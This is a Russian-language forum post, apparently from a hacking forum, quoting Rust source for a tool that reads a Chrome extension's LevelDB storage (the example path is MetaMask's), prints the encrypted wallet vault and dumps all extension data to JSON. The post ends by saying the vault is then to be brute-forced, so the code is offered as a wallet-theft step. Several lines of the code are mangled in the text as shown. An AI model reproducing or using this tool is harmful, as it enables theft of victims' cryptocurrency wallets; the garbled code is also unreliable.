reqwest сказал(а):
Vault храниться в зашифрованном виде, получить его можно так:
Код:
Скопировать в буфер обмена
/*
add here to dependencies in Cargo.toml
rusty-leveldb = "3.0.0"
serde_json = { version = "1" }
encoding = "0.2.0"
clap = { version = "4.0.0", features = ["derive"] }
build:
cargo build --release
usage:
chrome_ext -p "/some/path/to/ext" -o "ext_name.json"
*/
use clap:
arser;
use encoding::{all::UTF_16LE, DecoderTrap, Encoding};
use rusty_leveldb::{LdbIterator, Options, DB};
use std::collections::HashMap;
use std::fs;
use std:
ath:
athBuf;
pub fn decode_str(buf: &[u8]) -> String {
if buf.is_empty() {
return String::new();
}
let prefix = buf[0];
if prefix == 0 {
let decoded = UTF_16LE.decode(&buf[1..], DecoderTrap::Replace);
match decoded {
Ok(v) => v,
Err(v) => v.to_string(),
}
} else if prefix == 1 {
String::from_utf8_lossy(&buf[1..]).to_string()
} else {
String::from_utf8_lossy(buf).to_string()
}
}
#[derive(Parser, Debug)]
struct Args {
/// LevelDB path (C:\some\path\nkbihfbeogaeaoehlefnkodbefgpgknn)
#[arg(short, long)]
path: PathBuf,
/// Output filename (metamask.json)
#[arg(short, long)]
out_file: Option<String>,
}
fn main() {
let args = Args:
arse();
let file = if let Some(v) = args.out_file {
v
} else {
format!(
"{}.json",
args.path
.components()
.last()
.unwrap()
.as_os_str()
.to_string_lossy()
)
};
let opt = Options::default();
let mut db = DB:
pen(&args.path, opt).expect("open ldb failed");
let mut iter = db.new_iter().expect("new ldb iterator failed");
let (mut k, mut v) = (vec![], vec![]);
let mut values = HashMap::new();
while iter.advance() {
iter.current(&mut k, &mut v);
let k = String::from_utf8_lossy(&k).to_string();
let value_obj = decode_str(&v);
let v: serde_json::Value =
serde_json::from_str(&value_obj).expect("deserialize json failed");
if let Some(vault) = v.get("KeyringController").and_then(|v| {
v.as_object()
.and_then(|v| v.get("vault").and_then(|v| v.as_str()))
}) {
println!("{:?} vault = {:?}", file, vault);
}
values.insert(k, v);
}
let buf = serde_json::to_vec_pretty(&values).expect("serialize obj failed");
fs::write(&file, buf).unwrap_or_else(|e| panic!("write data to file {} failed: {}", &file, e));
println!("extensions processed success, result in {:?} file", file);
}
В результате получаем vault (выводится в консоль) ну и все данные расширения в формат json. Сам vault дальше только брутить.
Нажмите, чтобы раскрыть...